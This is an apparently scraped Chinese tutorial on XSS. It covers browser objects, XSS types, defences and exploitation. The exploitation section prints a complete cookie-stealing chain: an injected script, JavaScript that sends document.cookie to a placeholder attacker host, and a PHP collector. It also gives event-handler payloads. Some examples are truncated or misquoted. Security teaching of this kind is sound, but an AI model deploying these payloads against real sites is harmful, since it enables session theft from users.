XSS 跨站指令碼攻擊 漏洞
0x00 XSS 前置知識
什麼是 BOM
-
瀏覽器物件模型(Browser Object Model (BOM))
-
由於現代瀏覽器已經(幾乎)實現了 JavaScript 互動性方面的相同方法和屬性,因此常被認為是 BOM 的方法和屬性。
-
例如:
-
Window 物件
-
所有瀏覽器都支援 window 物件,它表示瀏覽器視窗。
-
所有 JavaScript 全域性物件、函式以及變數均自動成為 window 物件的成員
-
全域性變數是 window 物件的屬性
-
全域性函式是 window 物件的方法。
-
甚至 HTML DOM 的 document 也是 window 物件的屬性之一
-
window.document getElementByld("header");
-
與此相同:
-
document.getElementByld("header");
-
window.location
-
window 在使用時可以省略
-
location.hostname 返回 web 主機的域名
-
location.pathname 返回當前頁面的路徑和檔名
-
location.port 返回 web 主機的埠(80 或 443)
-
location.protocol 返回所使用的 web 協議 http 或 https
<script>
document.write(location.pathname);
</script>
-
window.navigator
-
window.navigator 物件包含有關訪問者瀏覽器的資訊。
<script> txt = "<p>瀏覽器代號:" + navigator.appCodeName + "</p>"; txt += "<p>瀏覽器名稱:" + navigator.appName + "</p>"; txt += "<p>瀏覽器版本:" + navigator.appVersion + "</p>"; txt += "<p>啟用Cookies:" + navigator.cookieEnabled + "</p>"; txt += "<p>硬體平臺:" + navigator.platform + "</p>"; txt += "<p>使用者代理:" + navigator.userAgent + "</p>"; txt += "<p>使用者代理語言:" + navigator.systemLanguage + "</p>"; document.write(txt); </script>
-
window.document
-
document.cookie 物件用於儲存 web 頁面的使用者資訊。
-
使用 document.cookie 屬性來建立、讀取、及刪除 cookie。
-
建立 cookie
-
document.cookie="username=John Doe";
-
讀取 cookie
-
document.write(document.cookie)
-
刪除 cookie
-
document.cookie ="username= expires= Thu, 01 Jan 1970 00: 00: 00 GMT;
0x01 XSS 漏洞概述
漏洞的介紹
- XSS 又叫 CSS( Cross Site Script),全稱 跨站指令碼攻擊 。它指的是攻擊者往 Web 頁面或者 URL 裡插入惡意 java Script 指令碼程式碼,如果 Web 應用程式對於使用者輸入的內容沒有過濾 ,那麼當正常使用者瀏覽該網頁的時候,嵌入在 Web 頁面裡的惡意 javascript 指令碼程式碼會被執行 ,從而達到惡意攻擊正常使用者的目的。
漏洞的位置
-
資料互動的地方:
-
get post cookies headers 方法
-
富文字編輯器
-
各類標籤插入和自定義
-
資料輸出的地方:
-
使用者資料
-
關鍵詞、標籤、說明
0x02 XSS 漏洞原理
-
web應用對使用者的輸入沒有經過嚴格過濾,導致使用者輸入的惡意JS程式碼嵌入WEB頁面中執行
-
XSS 是指攻擊者通過在** Web 頁面中寫入惡意指令碼** ,造成使用者在瀏覽頁面時,獲取控制使用者瀏覽器進行操作的攻擊方式
xss攻擊的是使用者,不能直接getshell
原理圖解
// 服務端程式碼:
<?php
$input = $_GET["test"];
echo $input;
?>
// 使用者提交:
<script>alert(/xss/)</script>
XSS 漏洞產生的兩個條件
-
可以控制的輸入點
-
輸入能返回到前端頁面上被瀏覽器當成指令碼語言解釋執行
0x03 XSS 漏洞危害
漏洞的危害
-
竊取使用者 Cookie,冒充使用者身份進入網站 (常見)
-
鍵盤記錄
-
客戶端資訊探查
-
劫持使用者會話,執行任意操作
-
刷流量,執行彈窗廣告
-
傳播蠕蟲病毒
-
......
0x04 XSS 漏洞防禦
-
使用** XSS Filter** :XSS Filter的作用是過濾使用者(客戶端)提交的有害資訊 ,從而達到防範XSS攻擊的效果
-
輸入過濾 :永遠不要相信使用者的輸入",對於使用者輸入一定要過濾
-
輸入驗證 :對使用者提交的資訊進行有效驗證 (是否僅包含合法字元、字串長度限制、輸入是否符合特殊的格式要求等等)
-
http-only :HttpOnly是包含在http返回頭Set-Cookie裡面的一個附加的flag,所以它是後端伺服器對cookie設定的一個附加的屬性,在生成cookie時使用HttpOnly標誌有助於減輕客戶端指令碼訪問受保護cookie的風險(如果瀏覽器支援的話)通過js指令碼將無法讀取到cookie資訊(document.cookie),這樣能有效的防止XSS攻擊。
-
輸出編碼 (htmlspecialchars函式 ):HTML編碼主要是用對應的HTML實體代替字元
0x05 XSS 漏洞分類
反射型XSS
-
概念:是非永續性 、引數型的跨站指令碼。反射型XSS的JS程式碼在web應用的引數(變數)中,如搜尋框 的反射型ⅩSS。
-
存在位置:常見於通過URL傳遞引數 的功能,如網站搜尋、跳轉等
-
攻擊手法:需要欺騙使用者自己去點選連結才能觸發ⅩSS程式碼(伺服器中沒有這樣的頁面和內容),一般容易出現在搜尋頁面
- 驗證反射型XSS漏洞存在的poc
<script>alert('xss')</script> //常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script>console.log('xss')</script>
儲存型XSS
-
概念:永續性跨站指令碼,是三種XSS中危害最大 的。它是將惡意程式碼寫進資料庫或檔案等可以永久儲存資料的介質中
-
存在位置:常出現在留言板、發表評論或發表文章的地方(資料寫入的地方)
-
攻擊手法:
-
通過留言板等功能,將攻擊者精心構造XSS程式碼,儲存到資料庫 中,當其他使用者再次訪問 這個頁面時,就會觸發並執行惡意的XSS程式碼 ,從而竊取使用者的敏感資訊
-
XSS盲打,例如插入XSS平臺生成的盜取cookie連結
DOM型XSS
- DOM的意思:DOM文件物件模型 (Document Object Model, DOM)是一個平臺和語言都中立的介面,可以使程式和指令碼能夠動態訪問和更新文件的內容、結構以及樣式
-
概念:不經過後端 ,DOM XSS漏洞是基於文件物件模型的一種漏洞,簡單去理解就是因為輸岀點在DOM 。DOM XSS是通過url傳入引數去控制觸發的,其實也屬於反射型XSS。
-
攻擊手法:
-
攻擊者構造出特殊的URL,其中包含惡意程式碼。使用者開啟帶有惡意程式碼的URL
-
使用者瀏覽器接收到響應後解析執行,前端 JavaScript取出URL中的惡意程式碼並執行。
-
惡意程式碼竊取使用者資料併發送到攻擊者的網站,或者冒充使用者的行為,呼叫目標網站介面執行攻擊者指定的操作
- 常見的DOM方法:
三種類型的區別
-
儲存型XSS與反射型XSS的區別
-
儲存型XSS的惡意程式碼存在資料庫 裡,是永續性的;反射型XSS的惡意程式碼存在URL 裡,是一次性的
-
DOM型與其他兩種XSS的區別
-
DOM型XSS攻擊中,取出和執行惡意程式碼由瀏覽器端完成,屬於前端 JavaScript自身的安全漏洞,而其他兩種ⅩSS都屬於服務端的安全漏洞
0x06 XSS漏洞利用
XSS 簡單利用
Cookie獲取
//插入指令碼
<script src='http://IP/xss.js'></script>
// xss.js
s=document.createElement('script');
s.src='http://IP/xss.php?cookie='+btoa(document.cookie);
document.body.appendChild(s)
// xss.php
<?php
$a = $_GET['cookie'];
$fp = fopen('xss.txt','a');
fwrite($fp,$a);
fclose($fp);
?>
鍵盤記錄
-
JS傳送請求的方式
-
利用一些標支援src屬性的標籤,例如
-
某些標籤內 // 不支援XSS的事件
-
onclick 滑鼠點選鮫發
-
onload當頁面載入完成後觸發
-
onerror當頁面載入錯誤時候鮫發
-
onmousemove當滑鼠移動就觸發
-
onmouseover 滑鼠指標移動到指定的元素上時發生
常用事件
<img src=x" onerror="alert("you")></img>
<p onmouseover=alert(/you/)>test</p>
-
javascript偽協議
-
這個特殊的協議型別聲明瞭URL的主體是任意的 javascript程式碼,它由 javascrip的直譯器執行。如果 javascript偽協議中URL中的 javascript程式碼含有多個語句,必須使用分號將這些語句分隔開。
-
在瀏覽器直接輸入
<a href="javascript:alert(a)">1</a>
<img src=1 onerror="javascript:alert(1)"></img>
XSS 基本構造(5種)
- 利用<> 構造 HTML/JS
-
同理,提交 ,構造